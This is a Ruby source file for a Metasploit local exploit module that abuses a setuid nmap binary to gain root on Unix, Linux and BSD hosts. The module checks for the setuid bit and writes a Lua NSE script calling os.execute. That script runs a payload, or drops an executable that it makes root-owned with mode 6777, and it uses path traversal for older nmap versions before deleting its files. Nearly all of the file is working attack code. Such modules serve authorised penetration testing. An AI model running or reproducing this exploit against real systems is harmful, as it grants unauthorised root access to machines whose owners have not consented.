## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common def initialize(info={}) super( update_info( info, { 'Name' => 'Setuid Nmap Exploit', 'Description' => %q{ Nmap's man page mentions that "Nmap should never be installed with special privileges (e.g. suid root) for security reasons.." and specifically avoids making any of its binaries setuid during installation. Nevertheless, administrators sometimes feel the need to do insecure things. This module abuses a setuid nmap binary by writing out a lua nse script containing a call to os.execute(). Note that modern interpreters will refuse to run scripts on the command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby} payloads will most likely not work. }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt' ], 'DisclosureDate' => 'Jul 19 2012', 'Platform' => [ 'unix', 'linux', 'bsd' ], 'Arch' => [ ARCH_CMD, ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Command payload', { 'Arch' => ARCH_CMD } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'BSD x86', { 'Arch' => ARCH_X86 } ], ], 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, 'DefaultTarget' => 0, } )) register_options([ # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("Nmap", [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]), OptString.new("ExtraArgs", [ false, "Extra arguments to pass to Nmap (e.g. --datadir)", "" ]), ], self.class) end def check stat = session.fs.file.stat(datastore["Nmap"]) if stat and stat.file? and stat.setuid? print_good("#{stat.prettymode} #{datastore["Nmap"]}") return CheckCode::Vulnerable end return CheckCode::Safe end def exploit if (target.arch.include? ARCH_CMD) p = payload.encoded.gsub(/([$"])/) {|m| "\\#{$1}" } evil_lua = %Q{ os.execute("#{p} &") } else exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf" print_status("Dropping executable #{exe_file}") write_file(exe_file, generate_payload_exe) evil_lua = %Q{ os.execute("chown root:root #{exe_file}"); os.execute("chmod 6777 #{exe_file}"); os.execute("#{exe_file} &"); os.execute("rm #{exe_file}"); } end lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse" print_status("Dropping lua #{lua_file}") write_file(lua_file, evil_lua) print_status("running") scriptname = lua_file if (lua_file[0,1] == "/") # Versions before 4.51BETA (December 2007) only accept relative paths for script names # Figure 10 up-directory traversals is enough. scriptname = ("../" * 10) + lua_file[1..-1] end begin # Versions before 4.75 (August 2008) will not run scripts without a port scan cmd_exec "#{datastore["Nmap"]} --script #{scriptname} -p80 localhost #{datastore["ExtraArgs"]}" ensure cmd_exec "rm -f #{lua_file} #{exe_file}" end end end